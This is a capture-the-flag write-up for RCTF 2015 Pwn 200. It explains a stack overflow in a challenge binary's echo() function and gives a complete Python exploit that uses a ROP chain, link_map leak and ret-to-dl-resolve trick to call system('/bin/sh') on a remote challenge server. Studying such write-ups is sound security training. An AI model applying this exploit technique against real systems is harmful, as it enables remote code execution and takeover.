RCTF 2015 Pwn 200

A x86_64 program without libc, and protected with NX and maybe ASLR. A stack overflow problem can be easily found in function echo():

Location of problem

The space on the stack is only 0x20, while we can give a string length at 0x400 and completely controlable. Ret-to-dl-resolve will also be used to escape from NX.

However, the function echo() will stop copying once it meets a 0x00. After a reconsidering of this stack structure, it is not something big. Since our data is also stored on stack, and under x86_64, since arguments are not passed through stack(at least in this function), we can just make the copy function stop at a certain point, and pop again to use our own rop chain. Though it might be stripped in echo(), we can actually not considering it.

The exp script is as below.

Thanks to Bigtang for showing me this way to bypass its protect.

Thanks to roputils for its excellent script.

#"a"*24 -> pop4+ret -> [ROP jobs]
from roputils import *

offset=32
fpath='./pwn200'
#p=Proc(rop.fpath)
p=Proc(host='180.76.178.48',port=6666)

rop=ROP(fpath)
addr_stage=rop.section('.bss')+0x400
ptr_ret=rop.search(rop.section('.fini'))

buf='a'*24+'\x9c\x08\x40\x00\x00\x00\x00\x00'
buf += rop.call_chain_ptr(          # have a rop chain to leak the address
    ['write', 1, rop.got()+8, 8],
    ['read', 0, addr_stage, 420]
, pivot=addr_stage)
buf += rop.fill(0x100, buf)

p.write(buf)
p.read(16)
addr_link_map = p.read_p64()
print("link_map is at %s" % hex(addr_link_map))
addr_dt_debug = addr_link_map + 0x1c8

buf = rop.call_chain_ptr(
    ['read', 0, addr_dt_debug, 8],
    [ptr_ret, addr_stage+400]
)
buf += rop.dl_resolve_call(addr_stage+300)
buf += rop.fill(300, buf)
buf += rop.dl_resolve_data(addr_stage+300, 'system')
buf += rop.fill(400, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(420, buf)

p.write(buf)
p.write_p64(0)
p.interact(0)